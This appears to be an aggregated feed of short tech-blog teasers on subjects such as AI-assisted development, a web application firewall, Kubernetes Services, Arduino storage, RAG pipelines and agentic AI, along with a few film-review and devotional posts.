    The New Digital-First Shift: AI Makes Development Easy, Marketing Becomes the Hard Part Over the last two years AI has quietly reshaped software development. A single developer can now produce features at the speed that once required a team. This creates a surprising new reality for digital-first businesses: Development is no longer the main bottleneck. Marketing is. Let’s break down why this shift is happening and what it means for devs and founders. AI accelerates almost every part of engineering: Implementation Refactoring Boilerplate generation Documentation Testing DevOps guidance One engineer can now automate internal tasks, maintain small systems, and ship features end-to-end. If a company historically spent Y hours per week building and maintaining systems, automation p…  ( 8 min )
    What is Web Scraping and What is it Used For?
    In today's age of information explosion, the internet is like a vast, untapped treasure trove of data. Web scraping is the key that unlocks this treasure chest. Market Research & Competitive Analysis Price Monitoring & Dynamic Pricing Lead Generation Brand & Public Sentiment Monitoring Academic Research & Data Aggregation In summary, the core value of web scraping lies in its ability to transform the scattered, vast amount of public information on the web into quantifiable, analyzable, and precise data. This data-driven intelligence powers smarter decisions and unlocks the potential of data, offering a significant informational advantage to individuals and businesses when used legally and ethically.  ( 7 min )
    WTF is Remote Patient Monitoring?
    Welcome to "WTF is this", the daily blog series where we dive into the wild world of emerging tech and try to make sense of it all. Today, we're tackling a term that sounds like something out of a sci-fi movie: Remote Patient Monitoring. Don't worry, it's not as futuristic as it sounds – but it's still pretty cool. So, what exactly is Remote Patient Monitoring (RPM)? In simple terms, it's a way for healthcare professionals to keep an eye on patients from afar using technology. This can include things like wearable devices, mobile apps, and even just good old-fashioned phone calls. The idea is to monitor patients' vital signs, symptoms, and overall health without them having to physically be in a doctor's office or hospital. Think of it like this: imagine you're recovering from an illness o…  ( 11 min )
    Announcing LightningChart JS Trader v4.0
    Hey, I'm Omar, and this time I wanted to bring you some good news about the latest release of LightningChart JS Trader 4.0. In this release, we focused on improving the user experience, flexibility, and real-time data streaming. Here are some of the changes: Built-in labels now show the latest close and indicator values, with options to show/hide the label and horizontal line. New pointer events (PointerDown, PointerUp, PointerEnter, PointerLeave) enable richer interactions. Default drawing-tool menus can also be disabled for custom implementations. Zooming/panning now work properly during real-time updates. New data point limit feature (enableDataPointLimit(), setDataPointLimit()). X-axis flicker fixed; better performance and more accurate labels. Automatic Data Sorting: Data no longer needs to be added in chronological order; the chart now sorts data automatically by datetime. New method to customize splitter line colors between main chart and indicators. Access the latest version with a 30-day free trial. Or read the official release note. Written by: Send me your questions via LinkedIn  ( 6 min )
    AI Agent Observability for LLM Applications: A Practical Guide for Engineers and Product Managers
    Shipping reliable LLM-powered applications demands more than traditional monitoring. Agentic systems introduce autonomy, reasoning, and multi-step decision-making across tools and services—making transparency and accountability essential. This guide reframes AI agent observability for engineering and product teams building chatbots, copilot experiences, RAG pipelines, and multi-agent workflows, drawing only from Maxim AI sources and the core practices outlined in the original article. LLM applications are non-deterministic and operate across complex execution paths—prompting, retrieval, reasoning, tool calls, and multi-agent coordination. Observability must extend beyond CPU/memory charts to capture agent behaviors, including reasoning quality, tool usage, token economics, and decision tra…  ( 10 min )
    SafeLine WAF: Stop Web Attacks Before They Stop You
    If you’re running a website or web service, you know the struggle: cyberattacks, automated scrapers, brute-force attempts, and sudden traffic surges. Traditional WAFs often fall short, either letting attacks slip through or blocking real users by mistake. That’s where SafeLine WAF comes in. SafeLine acts as a reverse proxy, sitting in front of your web service to filter and monitor HTTP traffic. It creates a smart barrier that intercepts malicious traffic while letting legitimate users through. Defends against: SQL injection, XSS, code injection OS command injection, CRLF injection XXE, SSRF, path traversal, and more 🤖 Anti-Scraping & Anti-Scanning Blocks malicious scrapers, vulnerability scanners, worms, and other automated threats to protect your content and data. Every page load delivers a unique, randomized HTML/JavaScript version, making it much harder for attackers to reverse-engineer your code. Prevents CC attacks, brute-force attempts, traffic spikes, and other abuses by controlling request rates based on source IP. Strict HTTP request management Human verification to distinguish bots from real users Optional authentication to prevent unauthorized access SafeLine in Action: Real Performance Metric ModSecurity Cloudflare SafeLine (Balanced) SafeLine (Strict) Sample Size 33,669 33,669 33,669 33,669 Detection Rate 69.74% 10.70% 71.65% 76.17% False Positive Rate 17.58% 0.07% 0.07% 0.22% Accuracy Rate 82.20% 98.40% 99.45% 99.38% SafeLine not only detects more attacks than traditional WAFs but also reduces false positives, keeping real users safe and happy. 180,000+ units installed globally 1 million+ websites protected 30 billion HTTP requests cleaned every day SafeLine is battle-tested in production, providing reliable web security for startups and enterprises alike. GitHub Repository: SafeLine WAF Official Website: SafeLine Live Demo: See It in Action  ( 7 min )
    How to store data on an Arduino after disconnecting it?
    You need some kind of non-volatile memory – something that doesn’t lose data when power is removed. On Arduino there are a few common options: 1. Use the built-in EEPROM (simplest) Boards like Arduino Uno / Nano / Mega have a small EEPROM on the chip (typically 1–4 KB). Good for: Small amounts of data: settings, counters, calibration values, last state, etc. A few bytes to a few hundred bytes. Key points: Survives power loss / USB unplug. Limited write endurance (typically ~100,000 writes per cell) → don’t write in a tight loop. Basic example (store a value and read it after reset/power-off): #include int addr = 0; void setup() { Serial.begin(9600); // Example: write a number once (only if not initialized, etc.) int valueToStore = 42; EEPROM.put(addr, valueToStore); …  ( 7 min )
    Reclaim the Fun of Coding: How to Avoid Manual Input Checks
    We all know the feeling. You’ve just architected a brilliant feature. The logic is sound, the data flow is elegant, and you’re ready to dive into the "fun part"—building the core functionality that actually does something cool. But wait. First, you have to build the gatekeeper. You have to check if userId exists. You have to check if age is actually a number. You have to make sure quantity isn't negative, and that email actually looks like an email. Before you know it, the top 20 lines of your function are a messy soup of if statements, typeof checks, and manual error throwing. Input verification is critical for security and stability, but it's probably also the most boring part of web development. It could break your flow, clutter your code, and turn a creative process into a tedious chor…  ( 10 min )
    Github dockerfile service using AI - Part 2
    Intro I have been fooling around a lot with ai recently, and I thought I would write something about what I've been doing. There are a few things that I've been doing, and they're all fascinating. Writing average looking code using minimum viable prompts. Getting this average looking code refactored to be a robust service. Generating API documentation - and having Claude fix this code. This is part two of a small series that I have created to walk through the process I went through to get decent code. I had a crazy idea. I thought to myself, let's write something that will go through my git repos and automagially update my dockerfiles so that the dockerfile uses a fixed but more recent version of the base image. In my first post, I looked at the codebase, which frankly was very average,…  ( 18 min )
    Recrutement des développeurs en Afrique : l’incohérence d’un système qui veut innover avec des méthodes archaïques
    Le secteur technologique africain connaît une croissance rapide, avec une génération de développeurs talentueux, créatifs et exposés aux outils les plus modernes. Pourtant, un paradoxe persiste : les pratiques de recrutement restent ancrées dans des approches obsolètes qui ne reflètent ni la réalité du métier ni les exigences de l’innovation. 1. Un héritage de méthodes scolaires mal adaptées au numérique Dans de nombreux pays africains, et particulièrement au Cameroun, les entreprises recrutent encore les développeurs comme on recruterait des enseignants d’histoire. citer le nom exact d’une méthode standard, écrire la syntaxe d’un commentaire multi-ligne, se souvenir de la fonction qui retourne le dernier élément d’un tableau, recopier du code sur papier. Mais un développeur moderne ne t…  ( 8 min )
    Excessive Agency in Agentic AI: Setting Safe Boundaries
    This article was originally published on AiSecurityDIR.com. Visit the original for the complete guide with all diagrams and resources. Agentic AI is transforming how organizations operate—but AI systems that can take autonomous actions introduce a fundamentally new category of security risk. When agents have more permissions, capabilities, or independence than they need, you're facing excessive agency. In this article, you'll learn what excessive agency means, why it's different from other AI risks, and how autonomous agents can cause serious harm even without malicious intent. Most importantly, you'll get a practical five-layer defense framework to set safe boundaries for your AI agents. This guide is for security leaders, AI engineers, and operations teams responsible for deploying or ma…  ( 13 min )
    Build your first AI agent
    Over the past year, the conversation around AI inside enterprises has shifted. Teams are no longer asking whether AI can help with individual tasks—they're asking how AI can act on their behalf, move work forward, and make decisions without constant supervision. This is where agentic AI comes in. Agentic AI refers to systems that can observe what's happening, reason about the situation, take action, and learn from the outcome. Instead of waiting for a prompt, these agents proactively handle multi-step, often messy workflows—checking data, following policy, coordinating across systems, and asking for approval only when needed. It's a clear step beyond traditional generative AI, which is powerful but fundamentally reactive. For developers, this is your moment. While enterprises care about r…  ( 7 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their Monday-night parlay by revisiting the 2005 sports-betting thriller Two for the Money, starring Matthew McConaughey, Al Pacino, and Rene Russo. They dive into the film’s high-stakes wagering scenes, debate what makes it tick, and share the timestamps so you can jump right to the action. After hashing out the most rewatchable moment, the trio rounds off the episode with a playful rundown of their signature “Rewatchables” categories. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, the show also gives shout-outs to Subaru’s Share the Love® Event and State Farm—plus plenty of links to subscribe and connect with The Ringer’s universe. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just unleashed their “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less,” tearing into every plot hole, cringe moment, and demon-slaying trope with their signature snark. They’ve even lined up a sinful poll, Patreon perks, and shout-outs to their crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) for anyone who wants more behind-the-scenes chaos. Hungry for extra sinning? Hit up cinemasins.com, binge their spin-off channels (@TVSins, @CommercialSins), hop into Discord or Reddit, and follow them on Instagram and TikTok. And if you can’t get enough film roasting, check out Jeremy’s new book for the ultimate cheat sheet. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – Dead Reckoning Part Two CinemaSins just unleashed their “final reckoning” on MI7, squeezing every nitpick into a brisk sub-27-minute roast. They’re still big fans of Ethan Hunt’s high-octane stunts, but confess this installment might’ve lost a bit of that impossible magic. Between the witty jabs, they plug their website, social channels, a “sinful” poll and Patreon—perfect for anyone who can’t get enough of pop-culture nitpicking. Watch on YouTube  ( 6 min )
    Start using OAuth for Office 365 POP/IMAP authentication
    Microsoft has disabled Basic authentication for most Exchange Online protocols. Microsoft has documented the requirements and configuration steps to use OAuth with POP/IMAP in Microsoft 365 in this article: Authenticate an IMAP, POP or SMTP connection using OAuth | Microsoft Docs. You’ll see details about the registration of the required Azure AD applications and the permissions required for the access token to give Exchange Online the authorization of the mailbox access request. OAuth 2.0 Authentication Microsoft 365 (formerly Office 365) supports two kinds of OAuth 2.0 authentication: Delegated authentication is suitable for desktop, mobile or web applications with signed-in user present. SETUP OAUTH Configuring Microsoft 365 Register your application In Azure Portal ⇒ expand…  ( 8 min )
    Google Antigravity: The Amazing IDE Powered by Gemini 3
    The landscape of AI-assisted development has evolved rapidly, moving from simple code completion to fully integrated "agentic" environments. The latest entrant to this competitive space is Google Antigravity, a public preview release that promises to redefine how developers interact with their IDEs. Antigravity offers a familiar VS Code-like interface but introduces a sophisticated "Agent Manager" designed to spawn, coordinate, and test autonomous coding tasks. At the heart of this system lies a diverse selection of large language models (LLMs). The core engine driving Google Antigravity is the Gemini 3 Pro model, which is available in two distinct configurations: "High" and "Low." This tiered approach allows developers to balance computational cost and speed against reasoning depth, dep…  ( 7 min )
    Event Opening - AWS Community Day Hong Kong 2025
    Mark Arel @ AWS Hong Kong Community Day 2025 The event is organized by volunteers of AWS users, with a committee preparing for the last three months. English is the official language, but Cantonese wordings will be used. The event is co-organized by AWS User Group Hong Kong and Hong Kong IIT HIT. There are 17 sessions with 21 speakers from eight different countries. This is the first community-driven semi-official AWS event in Hong Kong. Over 700 registrations have been received. The event relies on premium sponsors, and Mark, head of professional services in Hong Kong, will give a few words. The AWS user group community is special because it's community-led and made up of people passionate about AWS. There are over 700 registrations for the event, representing a big and thriving community. Throughout the day, there will be 17 different sessions led by expert AWS users and leaders. Attendees will have the opportunity to learn, network, and get inspired for innovation. The event is different from AWS training and certification as it allows learning from peers and colleagues. AWS is customer-obsessed and values events like this where customers can share knowledge and insights. The event encourages embracing change and using technology like generative AI to transform roles and increase efficiency. The success of the event relies on the participation of all attendees, sponsors, speakers, and co-organizers. The goal is to make this inaugural AWS user group community day in Hong Kong a memorable event filled with knowledge, innovation, and inspiration.  ( 7 min )
    Agent-to-Agent: Building Interoperable AI on AWS
    Lahiru Ratnayaka @ AWS Hong Kong Community Day 2025 Building Next-Generation Agent Applications on AWS Use Case: Cafe Manager Agent Cafe Manager Agent: Built using Crew AI framework. Tools: Connected APIs with OpenAPI specification. Scenario: Custom base (customer) communicates with the cafe manager agent to request items like cappuccino or long black coffee. Distributed Agent: Another agent (e.g., vendor agent) communicates with the cafe manager agent to get information or place orders. Frameworks: Cafe manager agent uses Crew AI, while the distributed agent uses Autogen. Identity Provider: Custom base uses Okta as the identity provider. Tools: APIs are not hosted on AWS Lambda but follow OpenAPI specification. AWS Support for Agentic Applications Agent Core Service: A comp…  ( 11 min )
    What role do stablecoins and on-chain identity play in the RWA ecosystem?
    The tokenization of real-world assets is steadily becoming an important part of modern finance. Institutions, fintech firms, and DeFi platforms are bringing treasury bills, real estate, credit products, and other financial instruments onto blockchain networks. This shift is not happening overnight, but the progress is consistent and meaningful. Behind this growth are two essential components that keep these markets organized and accessible. Stable coins give participants a reliable way to move value on-chain. On-chain identity helps platforms follow regulatory requirements while protecting user trust. Together they create a strong and practical foundation for the RWA ecosystem. The idea of tokenizing real-world assets works best when the supporting infrastructure is dependable. Stable coins and on-chain identity provide that dependability. Each one plays a separate role, yet both work together to create a balanced and efficient market environment. Their combined strengths help make tokenized assets easier to use, easier to manage, and easier to integrate with traditional financial systems. • Smooth transactions with verified users • Transfers restricted to approved participants • Automatic compliance through smart contracts • Consistent user experiences across regions • A strong base for long-term market growth This partnership allows RWA platforms to expand with clarity and trust. Stable coins provide global liquidity, and on-chain identity ensures regulatory alignment. The result is a stable and accessible environment that supports responsible growth. Together they reduce complexity, support transparency, and strengthen the entire ecosystem. Stable coins deliver efficient and predictable transactions. On-chain identity provides secure and compliant participation. Their combined role helps drive confidence, sustainability, and long-term success in the advancing RWA market.  ( 8 min )
    Rethinking GenAI Agent: RAG & MCP
    Carson Chan & Angelo Mao @ AWS Hong Kong Community Day 2025 RA and MCP in Agentic Architectures: Focus of the Session: Discussion on Retrieval-Augmented (RA) and Multi-Chain Processing (MCP), two traditional techniques in the agentic world. Emphasis on what matters in agentic architectures and how to boost agent performance. Key Points: Agent Orchestration: Agents are orchestrated by models, making the model crucial. Model Evolution: The evolution of logical thinking and capabilities in models is primarily driven by model providers unless custom training is undertaken. External System Connectivity: Agents' ability to connect with external systems and perform accurately is vital. Retrieval-Augmented (RA): Definition: RA allows Large Language Models (LLMs) to access custom knowle…  ( 11 min )
    Why No-Code Documentation Platforms Are the Future of Product Development
    For a long time, product documentation sat inside static sites, Git repos, and config-heavy setups. That was fine when teams were small and releases were slow. But today, products ship continuously, teams work across time zones, and customers expect answers instantly. Documentation needs to move with the same speed and that’s where no-code documentation platforms have become game changers. These tools remove the technical overhead that used to slow teams down. Instead of fighting build errors or learning a publishing workflow, writers and engineers can focus on capturing product knowledge clearly and quickly. 1. They make documentation easier for everyone to create Teams write more and write better when the process feels simple. No-code platforms remove nearly all friction, letting anyo…  ( 10 min )
    Building an Offline-First Open Home Notes App (Because I Needed It) "MyNextHome"
    House-hunting can get messy very quickly. You visit several places in one afternoon, collect brochures that all look the same, and scribble notes that eventually get lost or smudged. By the time you get home, the details start blending together. It becomes hard to remember: which one had the damp bathroom which one you actually liked and which one you ruled out but forgot why For years, I wished there was one simple tool that helped me keep everything organised — notes, photos, impressions, and reminders — all in a clean flow. Nothing existed, so I kept making do with paper, my camera roll, and memory. The frustration was real, and because I’m solving my own problem, I understand the user’s pain points deeply. The app must: Get the latest open homes from real estate's website for the weekend (TradeMe New Zealand) open instantly work offline inside houses with bad reception save notes without lag store photos and impressions together sync automatically when I’m back home Once these product constraints were solid, the technology naturally followed. A lightweight Node.js backend provides clean APIs. Offline-first storage like SQLite or Supabase solves the spotty reception issue. A simple folder structure keeps the project maintainable. And a sync layer ensures everything stays consistent across devices. What makes this project meaningful is that I’ve needed this app for a long time. I’ve had so many Saturdays where I thought, “Why doesn’t something like this exist already?” Now that I’m learning more about mobile and backend development, I can finally build the tool I’ve always wanted. It may not be perfect yet. It may take time. And I’m learning as I go. But it feels incredibly empowering to create something that solves a real frustration in my daily life. This is why I enjoy mobile development so much - it is very rewarding to solve a real life problem, as well as carry it in your pocket!! :)  ( 7 min )
    AWS Cloud Formation doing crazy
    Intro I decided to write this article after a year and a half of actively using AWS CloudFormation across two separate products. Because it’s less popular than Terraform, finding solutions to some problems often meant piecing together hints from different sources. Here I’ll share my experience in the hope that it helps someone else solve their CloudFormation challenges. A large part of this article is code. It’s mainly a note for myself in the future, so I can remember how I used AWS CloudFormation if I need to work with it again. When you work with CloudFormation, there are some key differences from Terraform. For example: there’s no automatic drift remediation, deployments are all-or-nothing (no partial apply), you can’t deploy to multiple regions in one go, and stack policies have th…  ( 9 min )
    Understanding RAG Pipelines: Architecture, Evaluation Metrics, and Best Practices for Enterprise AI
    Retrieval-Augmented Generation (RAG) is now foundational for context-aware enterprise AI, powering customer support, internal knowledge systems, and compliance workflows with grounded, up-to-date responses. While over 60% of organizations are building retrieval solutions, most struggle to translate prototypes into production-grade reliability. This guide breaks down the RAG architecture, the critical evaluation metrics that correlate with trustworthy outputs, and the operational best practices needed to scale—plus how Maxim’s platform streamlines experimentation, evaluation, and observability across the RAG lifecycle. Start exploring with Get started free or book a walkthrough via Book a demo. See all capabilities on Features and implementation guidance in Docs. RAG augments a language mod…  ( 9 min )
    How AI is Rewriting the Football Analyst's Job Description
    Then vs. Now Five years ago, analysts relied on endless video hours and physical notebooks to convince managers of their insights. Today, before an analyst finishes their morning coffee, AI has already analyzed opponents, quantified pressing triggers, and predicted scorelines. The Rise of Predictive Engines While legacy providers like Opta gave us data, new platforms like FootballAnt, Predicd, and Aiscout tell machines to predict the game. FootballAnt is probably the clearest example. Before every Champions League and major league fixture, the platform now feeds 200+ data points per team (pressing intensity, progressive pass clusters, goalkeeper sweep angles, even weather-adjusted expected threat) into its AI engine. Thirty seconds later it returns predicted scoreline. The New Role: "AI Translator" The industry has shifted from data collection to interpretation . Modern analysts now spend 70% of their time on: Translation: Converting AI insights into language managers trust. Deception Detection: Spotting when teams hide tactical patterns. Application: Designing drills that fix specific weaknesses. The Bottom Line AI did not kill the analyst; it automated the repetitive data recording . The best analysts of 2025 aren't those who watch the most minutes, but those who understand the context the machine missed.  ( 6 min )
    The Art of Cleaning Files Before They Reach Your Server
    Building an application that accepts user content is a standard requirement today. Whether you are running a classroom management tool or a print-on-demand shop, you need to accept files. However, accepting a file in your file uploader is only half the battle. The real challenge lies in making sure that file is actually usable and safe before it enters your system. This is where we move beyond simple uploads and start looking at intelligent automation. Key Takeaways Automate Quality Control Workflows serve as an intelligent filter that standardizes, scans, and fixes files before they ever touch your main database. Keep Your App Fast By offloading heavy tasks like virus scanning or video transcoding to a background process, your user interface remains snappy and responsive. Webhooks…  ( 9 min )
    Social Engineering: Why Humans Are the Weakest Link in Cybersecurity
    A comprehensive guide to understanding and defending against the most sophisticated cyber attacks. In the of cybersecurity, we’ve built sophisticated firewalls, implemented multi-factor authentication, and deployed advanced threat detection systems. Yet, despite these technological fortresses, 95% of security breaches still involve human error** (IBM Security Report). The reason? Social engineering attacks that bypass our technical defenses by targeting the one element that can’t be patched: human psychology. After delivering lightning talks on this critical topic to enthusiastic audiences, I’ve realized that understanding social engineering isn’t just important for IT professionals—it’s essential for everyone in our increasingly digital world. Social engineering is the psychological mani…  ( 10 min )
    The Melbourne Talent War: A Conversation
    Setting: Fitzroy café. Afternoon sun. Coffee that tastes like punishment. JAMES: Supreet, hiring in Melbourne is a nightmare. Everyone wants “top engineers,” no one can find them. And when they do, the person quits in six months for a 20k bump. I’ve never seen the market this thin. SUPREET: Yeah, I’m hearing the same from clients. And honestly—this isn’t new to me. I lived a version of this in Indonesia back in 2015. JAMES: What happened there? SUPREET: We were trying to build a cloud team for a client. AWS was taking off, but Jakarta didn’t have many cloud engineers. Maybe ten people in the whole market who had touched EC2. Singapore companies were paying double. Local companies couldn’t compete. JAMES: Sounds familiar already. SUPREET: Exactly. So instead of chasing unicorns, we changed …  ( 8 min )
    Enterprise AI Agents: A Practical Guide to Scaling Architecture, Governance, and ROI
    Most enterprises have moved beyond experimentation with AI—adoption is broad, but only a minority see enterprise-level financial impact. The gap between promising pilots and production scalability is driven by architecture, data, governance, and operating model challenges. This guide explains how to scale AI agents in production with modular architectures, comprehensive observability, and cost-aware orchestration—so teams can achieve measurable ROI with Maxim. Start building now with Get started free or see the platform firsthand via Book a demo. AI agents reason across multi-step workflows, call external tools and APIs, retain context, and operate in changing environments. Compared to deterministic software, agents introduce variability, token and latency costs, and governance requirement…  ( 8 min )
    8 Best CAD Software
    8 Best CAD Software Computer-Aided Design (CAD) software has become an essential tool across industries ranging from product design and architecture to engineering and manufacturing. Whether you’re creating precise mechanical components, drafting architectural layouts, or preparing models for 3D printing, choosing the right CAD platform can dramatically affect your workflow, productivity, and final results. Today’s CAD landscape is rich and diverse, with options tailored to different levels of expertise, budgets, and project requirements. Some tools are cloud-based and collaboration-focused, others are engineering powerhouses used in aerospace and automotive industries, while some aim to make 3D modeling more accessible to hobbyists and students. In this article, we highlight eight of the …  ( 9 min )
    Best Figma Plugins for UI/UX Designers
    When you're designing in Figma, the right plugins can dramatically speed up your workflow, boost consistency, and help you prototype faster. Whether you're a beginner or a seasoned product designer, these plugins will level up your UI/UX game. Below is a curated list of the best Figma plugins every designer should know, along with what makes them essential. Auto Layout Magic A must-have for designers who work heavily with Figma’s Auto Layout. This plugin helps you apply clean, consistent layouts instantly and fix messy auto-layout layers with one click. Why it’s great: Cleans up auto-layout issues Saves tons of time when dealing with responsiveness Great for handoff consistency 2. Contrast Accessibility is non-negotiable. Contrast checks your text and background col…  ( 7 min )
    Definition of Services in Kubernetes
    A Service in Kubernetes is an object that provides a stable IP address, DNS name, and consistent network access to a group of Pods. Because Pods are temporary — they die, restart, or get new IPs — a Service makes sure that: ✔ Applications can find and talk to Pods reliably ✔ Network traffic is load-balanced across Pods ✔ The communication remains stable even if Pods change Why Services Exist Pods are not permanent: Their IPs keep changing Pods come and go during scaling New Pods replace old Pods during deployments Without Services, apps would have no stable way to reach Pods. A Service hides Pod changes behind a fixed, reliable endpoint. What a Service Provides 🔹 Stable ClusterIP A virtual IP that does NOT change. DNS name Example: myapp.default.svc.cluster.local Load balancing Traffic is automatically distributed to healthy Pods. Service Discovery Apps always know how to find each other. How Services Work Internally A Service selects Pods using labels: selector: app: myapp Then Kubernetes creates: Endpoints/EndpointSlices = list of Pod IPs behind the Service Rules in kube-proxy (iptables/ipvs) to route traffic When you access the Service IP → kube-proxy forwards the request to one of the matching Pods. One-Line Interview Definition A Service in Kubernetes is a stable networking endpoint that provides consistent access, load balancing, and discovery to a dynamic group of Pods.  ( 7 min )
    Types of Chatbots: Rule-Based, NLP & AI Chatbots Explained (Insights from DGTL Tech Hub)
    Chatbots have become an essential part of modern business communication. Whether it's answering customer questions, guiding online shoppers, or generating new leads, chatbots help companies save time and improve efficiency. But not all chatbots work the same way. Some follow fixed flows, some understand natural language, and some learn from user behavior. In this guide, we’ll break down the main types of chatbots in simple language and share how DGTL Tech Hub builds these solutions for different industries. A chatbot is a software program that interacts with users through text or voice. It can answer questions, provide solutions, show products, and even help users complete tasks. With advanced technology, chatbots have become smarter and more interactive than ever before. Businesses acros…  ( 8 min )
    Forget Wall Street: Here’s How to Create the Best Stock Screener Yourself
    Stock Screeners for Math People: Build Your Own A stock screener is just a function. You don't need Wall Street, a fancy terminal, or YouTube. If you know high school math and Python, you can build your own screener that is transparent, tuned to your portfolio, and changeable as your ideas evolve. At its core, a stock screener is a mathematical filter function: Screener(stock)={TRUEif stock passes your rules FALSEotherwise \text{Screener}(\text{stock}) = \begin{cases} \text{TRUE} & \text{if stock passes your rules} \ \text{FALSE} & \text{otherwise} \end{cases} Screener(stock)={TRUE​if stock passes your rules FALSE​otherwise​ You have a universe of N stocks, each with data: Input=S1,S2,…,SN,Si=Pi(t),Vi(t),Fi \text{Input} = {S_1, S_2, \ldots, S_N}, \quad S_i = {P_i(t), V_i(t), F_i} Inpu…  ( 13 min )
    🚀 Terraform Azure Infrastructure (Modular Architecture + DevSecOps)
    Code Structure . ├── azure-pipelines.yml # Azure DevOps CI/CD pipeline ├── main │ ├── main.tf # Module orchestration │ ├── provider.tf # Azure provider configuration │ ├── terraform.tfvars # Input variable values │ └── variable.tf # Module variables ├── modules │ ├── 01_resource_group # Resource Group creation │ ├── 02_storage_account # Storage Accounts │ ├── 03_storage_container # Storage Containers │ ├── 04-Public_IP # Public IP │ ├── 05_Virtual_Net # VNet & Subnets │ ├── 06_sql_server # Azure SQL Server │ ├── 07_sql_database # Azure SQL Database │ ├── 08_net…  ( 7 min )
    The Shopify products.json Trick: Scrape Any Store 25x Faster with Python
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    🧠 First: What is a Namespace in Linux? A namespace in Linux is a boundary or an isolation mechanism. It decides what a process is allowed to see on the system. Think of it like: A private room inside a house. Containers rely heavily on Linux namespaces. Types of Linux Namespaces Some key ones used by containers: Namespace What it isolates Example NET Network Each container gets its own virtual network stack PID Processes Each container sees only its own processes IPC Inter-process communication Shared memory, semaphores UTS Hostname Each container can have its own hostname MNT Filesystems Each container has its own root filesystem Kubernetes Pods mainly use NETWORK + IPC + UTS namespaces. Now: What is a Shared Namespace in a Pod? A Pod is NOT a contain…  ( 7 min )
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    Building Better Governance: How Simulations Are Transforming Training for Public Servants
    Government employees serve as the indispensable core for delivering essential public services, upholding critical policies, and ensuring that the complex needs of citizens are met effectively and efficiently. In today’s increasingly dynamic and complex global environment, the intricate challenges faced by public servants demand far more than just theoretical knowledge—they necessitate practical, hands-on experience that proactively prepares them to handle real-world scenarios, particularly those characterized by high pressure and ambiguity. This imperative for practical readiness has paved the way for business simulations—a cutting-edge, proven solution that is fundamentally transforming government training programs worldwide. Crisis Management and Emergency Response Governmental agencies …  ( 9 min )
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    How I Started When I started my journey with web development, after some weeks I kept hearing about "requests" and "responses." Wait! What is a request? What is a response? Why does HTTP exist, and why is it called HTTP? I hate pretending to understand something. Therefore, I decided to build my own HTTP server—or at least pretend to :). Eventually, I got to the core idea: HTTP is just Hypertext Transfer Protocol—basically a set of rules for transferring data. But what really mattered was understanding that HTTP is built on top of TCP(Transmission Control Protocol), which I'll explain below. So, I started building my own http-server-ts. I asked my friend who had built his own server, and I was genuinely impressed. When I asked him how I could learn all this stuff related to web developme…  ( 10 min )
    Gemini 3.0: Stop Arguing Models—Start Rewiring Work
    Everyone's talking about Google's Gemini 3.0, but the real opportunity isn't model vs model—it’s how UI understanding will reshape your daily work. Most teams will wait for the press release. The smart ones will run small pilots inside tools they already use. Here’s the play that actually works ↓ Debates about AI supremacy miss the point. What matters is time to value in real workflows. If an AI can read screens, understand buttons, and learn from short videos, you get stacked gains. Those gains spread across support, ops, sales, and product. For example, imagine onboarding that watches a 3-minute demo and builds a step-by-step checklist from your UI. A support rep could review a screen recording, suggest next clicks, and draft a reply in seconds. In a two-week test, you could aim for 20–30% faster closes and fewer escalations by measuring time, clicks, and accuracy. ↓ Pilot playbook to test now • Pick one workflow with a clear start and finish. • Capture 5–10 real sessions as short videos and screenshots. • Define success before you start: time saved, clicks reduced, accuracy. • Run side-by-side for two weeks: human-only vs AI-assisted. ↳ Document what the AI gets wrong, then simplify prompts or the UI. → Share one clip and one metric with leadership. ⚡ You’ll quickly notice fewer clicks, faster cycles, and cleaner handoffs. ⚡ Leaders get clearer reports, reps get fewer tabs, customers get faster answers. The model matters, but the workflow is the hero. What’s stopping you from piloting this in the next 14 days?  ( 6 min )
    Zona Rural com Geração Solar: Como Migrar para Mercado Livre em 2025
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    AI Spots Trouble Before Traffic Does: Preventing Urban Gridlock with Smart Vision by Arvind Sundararajan
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    Stop Using @import: How to Prepare for Dart Sass 3.0 (Full Migration Guide)
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    The Day Light Walked Into Darkness: A Deep Devotional Journey Through John 9
    There are chapters in Scripture that comfort us, chapters that challenge us, and chapters that feel like they take a lamp and shine it directly into the deepest corners of the human heart. Gospel of John Chapter 9 does more than that. It doesn’t just illuminate—it exposes. It reveals. It unwraps layers of pride, doubt, legalism, fear, and misplaced certainty. It asks questions we avoid. It brings our assumptions to the surface. It confronts us gently and directly all at once. This chapter is one of those rare places in the Bible where the miracle itself seems almost secondary because the meaning behind it is so piercing. Jesus heals a man blind from birth—but the real miracle in this story isn’t just the restoration of physical sight. It’s the revelation of spiritual blindness in the peopl…  ( 11 min )
    Building a Useless Machine in Elixir
    A Useless Machine does one thing: when you turn it on, a mechanical paw reaches out and flips the switch back off. Useless, but fun. Let's build one in Elixir! To save us some code, and to give our Useless Machine object permanence, we'll define it as a reactive durable workflow using Journey. To play with this, you'll want to have Elixir 1.18 or 1.19, Docker (if you want to run your postgres database in a docker container), and some familiarity with Elixir. If you use asdf, here is the .tool-versions file I used for this exercise: $ cat .tool-versions erlang 27.1.2 elixir 1.19.1-otp-27 The source code for this exercise is available at https://github.com/markmark206/useless_machine If you want to just start playing with Useless Machine, not implement it, just clone the repo, follow its se…  ( 9 min )
    Daily Tech News Roundup - 2025-11-27
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    7 Best Resources to Learn C++: My Journey from Confusion to Clarity
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    NocoBase Weekly Updates: Optimization and Bug Fixes
    Originally published at https://www.nocobase.com/en/blog/weekly-updates-20251127 Summarize the weekly product update logs, and the latest releases can be checked on our blog. NocoBase is currently updated with three branches: main , next and develop. main:The most stable version to date, recommended for installation; next:Beta version, contains upcoming new features and has been preliminarily tested. There might be some known or unknown issues. It's mainly for test users to collect feedback and optimize functions further. Ideal for test users who want to experience new features early and give feedback; develop:Alpha version, contains the latest feature code, may be incomplete or unstable, mainly for internal dev and rapid iteration. Suited for tech users interested in product's cutting-ed…  ( 13 min )
    What is Agentic AI? A Complete Guide to Autonomous AI Systems
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    Day 16: Why Cloud Governance Is Incomplete Without FinOps
